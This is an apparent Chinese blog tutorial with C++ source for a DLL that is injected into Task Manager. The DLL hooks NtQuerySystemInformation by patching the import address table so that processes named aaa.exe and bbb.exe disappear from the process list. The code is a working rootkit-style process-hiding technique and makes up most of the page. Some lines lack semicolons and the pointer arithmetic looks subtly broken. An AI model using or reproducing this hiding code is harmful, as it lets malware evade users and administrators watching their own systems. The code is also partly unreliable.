1 .技术与实现

每个调用的 API 函数地址都保存在 IAT 表中。 API 函数调用时,每个输入节( IMPORT SECTION )所指向的 IAT 结构如下图所示。

HOOK API 之修改IAT实现进程隐藏

程序中每个调用API 函数的CALL指令所使用的地址都是相应函数登记在IAT表的地址。所以为了截获API 函数,我们将IAT表中的地址换成用户自己的API PROXY函数地址,这样每个API调用都是先调用用户自己的API PROXY函数。在这个函数中我们可以完成函数名称的记录、参数的记录、调用原来的过程,并在返回时记录结果。

2.源码

// win64 注入dll到需要实现隐藏aaa.exe bbb.exe进程的程序中 入task任务管理器
#include "stdafx.h"
#include <stdio.h>
#include <shlwapi.h>
#include <process.h>
#include <Commctrl.h>
#include "tlhelp32.h"

 

#pragma comment(lib,"ntdll.lib")

#define STATUS_SUCCESS ((NTSTATUS) 0x00000000L)

typedef int (WINAPI *PFNMESSAGEBOX)(HWND, LPCSTR, LPCSTR, UINT uType);
//new messagebox function

typedef struct _MY_SYSTEM_PROCESS_INFORMATION {
    ULONG          NextEntryOffset;
    ULONG          NumberOfThreads;
    LARGE_INTEGER  Reserved[3];
    LARGE_INTEGER  CreateTime;
    LARGE_INTEGER  UserTime;
    LARGE_INTEGER  KernelTime;
    UNICODE_STRING ImageName;
    ULONG          BasePriority;
    HANDLE         ProcessId;
    HANDLE         InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, *PMY_SYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PNT_QUERY_SYSTEM_INFORMATION)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation, __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength);

PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =
(PNT_QUERY_SYSTEM_INFORMATION)::GetProcAddress(::GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");

 

NTSTATUS WINAPI HookedNtQuerySystemInformation(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation, __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength) {
    NTSTATUS status = ((PNT_QUERY_SYSTEM_INFORMATION)OriginalNtQuerySystemInformation)(
        SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);

    if (SystemProcessInformation == SystemInformationClass &&
        STATUS_SUCCESS == status) {
 

        PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
        PMY_SYSTEM_PROCESS_INFORMATION pNext =
            (PMY_SYSTEM_PROCESS_INFORMATION)SystemInformation;

        do {
            pCurrent = pNext;
            pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent +
                pCurrent->NextEntryOffset);

            if (!_wcsnicmp(pNext->ImageName.Buffer, L"aaa.exe",
                pNext->ImageName.Length) ||
                !_wcsnicmp(pNext->ImageName.Buffer, L"bbb.exe",
                    pNext->ImageName.Length))
            {
                if (0 == pNext->NextEntryOffset) {
                    pCurrent->NextEntryOffset = 0;
                }
                else {
                    pCurrent->NextEntryOffset += pNext->NextEntryOffset;
                }

                pNext = pCurrent;
                //    pCurrent = pNext;
            }
        } while (pCurrent->NextEntryOffset != 0);
    }

    return status;
}

 

//#pragma comment(lib,"th32.lib")

PIMAGE_DOS_HEADER  pDosHeader;
PIMAGE_NT_HEADERS  pNTHeaders;
PIMAGE_OPTIONAL_HEADER   pOptHeader;
PIMAGE_IMPORT_DESCRIPTOR  pImportDescriptor;
PIMAGE_THUNK_DATA         pThunkData;
PIMAGE_IMPORT_BY_NAME     pImportByName;
HMODULE hMod;

 

void ThreadProc(void *param);//线程函数

void ThreadProc(void *param)
{
    //------------hook api----------------
    hMod = GetModuleHandle(NULL);

    char tmp[256];

    pDosHeader = (PIMAGE_DOS_HEADER)hMod;
    pNTHeaders = (PIMAGE_NT_HEADERS)((BYTE *)hMod + pDosHeader->e_lfanew);
    pOptHeader = (PIMAGE_OPTIONAL_HEADER)&(pNTHeaders->OptionalHeader);

    pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)hMod + pOptHeader->DataDirectory[1].VirtualAddress);

    while (pImportDescriptor->FirstThunk)
    {
        char * dllname = (char *)((BYTE *)hMod + pImportDescriptor->Name);

        pThunkData = (PIMAGE_THUNK_DATA)((BYTE *)hMod + pImportDescriptor->OriginalFirstThunk);

        int no = 1;
        while (pThunkData->u1.Function)
        {
            char * funname = (char *)((BYTE *)hMod + (DWORD)pThunkData->u1.AddressOfData + 2);
        //    PDWORD lpAddr = (DWORD *)((BYTE *)hMod + (DWORD)pImportDescriptor->FirstThunk) + (no - 1);

            PDWORD lpAddr = (DWORD *)((BYTE *)hMod + (DWORD)(pImportDescriptor->FirstThunk ));
            lpAddr = lpAddr + no - 1;

            PULONGLONG lpAddrFun = (PULONGLONG)lpAddr


            //修改内存的部分
        //    if(!strcmp(funname,"NtQuerySystemInformation"))
            if ((*lpAddr) == (DWORD)OriginalNtQuerySystemInformation)  // 查找需要替换的函数
            {
                //修改内存页的属性
                DWORD dwOLD;
                MEMORY_BASIC_INFORMATION  mbi;
                VirtualQuery(lpAddrFun, &mbi, sizeof(mbi));  //lpAddr
                VirtualProtect(lpAddrFun, sizeof(ULONGLONG), PAGE_READWRITE, &dwOLD);

      

 

                *lpAddrFun = (ULONGLONG)HookedNtQuerySystemInformation;
                VirtualProtect(lpAddr, sizeof(ULONGLONG), dwOLD, 0)


            }
            //---------
            no+=2;
            pThunkData++;
        }

        pImportDescriptor++;
    }
    //-------------------HOOK END-----------------
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        _beginthread(ThreadProc, 0, NULL);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

 

相关文章:

  • 2021-06-18
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-10-29
  • 2021-11-14
相关资源
相似解决方案